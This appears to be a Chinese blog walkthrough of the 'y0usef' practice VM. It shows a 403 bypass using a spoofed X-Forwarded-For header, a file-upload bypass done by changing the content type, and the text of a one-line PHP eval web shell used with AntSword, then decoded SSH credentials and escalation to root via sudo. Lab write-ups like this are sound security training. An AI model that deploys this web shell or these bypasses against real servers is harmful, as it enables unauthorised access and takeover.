0x00部署
y0usef靶机:下载地址
宿主机:kali2022
kali找不到靶机可以参考:kali与靶机网络配置问题
0x01信息收集
1.主机发现

2.端口扫描

开放端口:http80和ssh22
3.信息收集(目录扫描)
访问一下web80端口,发现没有表单提交等位置,查看源码也没什么可利用信息。


继续扫描目录,得到一些403forbidden目录,对adminstration这个可疑url进行访问
dirsearch -u http://ip

同样没有访问权限

对adminstration扫描后,发现其目录下存在子目录,尝试403绕过

0x02 漏洞挖掘
1.403绕过
利用burp抓访问ad页面的数据包,再发送到repeater中尝试改变头信息:
增加X-Forwarded-For:127.0.0.1,让服务器以为这是从本地代理发送的请求,send出去返回200。

对登录页面进行观察,同时burp一直打开,对请求包都要加X头
Dashboard页面

users页面

upload页面,这里可以上传文件—》立刻想到文件上传漏洞

2.文件上传
尝试上传一个php文件,返回修改burp包里的文件格式为image/png转发出去,发现成功上传。

使用蚁剑连接,把http://ip/../files/xx.php填进去,php代码使用的是<?php @eval($_POST['x']); ?>,连接时密码填x。
蚁剑中右键打开shell,查看当前用户及权限,发现只是普通用户,检查/home文件,找到一个txt文件和一个目录,目录中没什么能利用的,txt文件中有一串编码字符,经验知是base64的。

到kalishell上转义一下得到用户名为yousef的ssh账号及密码

base64编码一般由:0-9a-zA-Z+/=组成
3.本地提权
利用ssh用户密码连接后id一下发现该用户具有sudo权限,sudo -s一下,成功获得root权限



0x03总结
本靶机主要是对于web应用中可能存在的403forbidden进行绕过达到访问控制的失效,其次是对于文件上传漏洞的利用,文件上传有很多种方式,这里并没有详述,只对修改文件格式进行了试验,成功上传后,使用蚁剑对于上传PHP木马进行后门访问来达到获取权限的目的。
2万+



被折叠的 条评论
为什么被折叠?



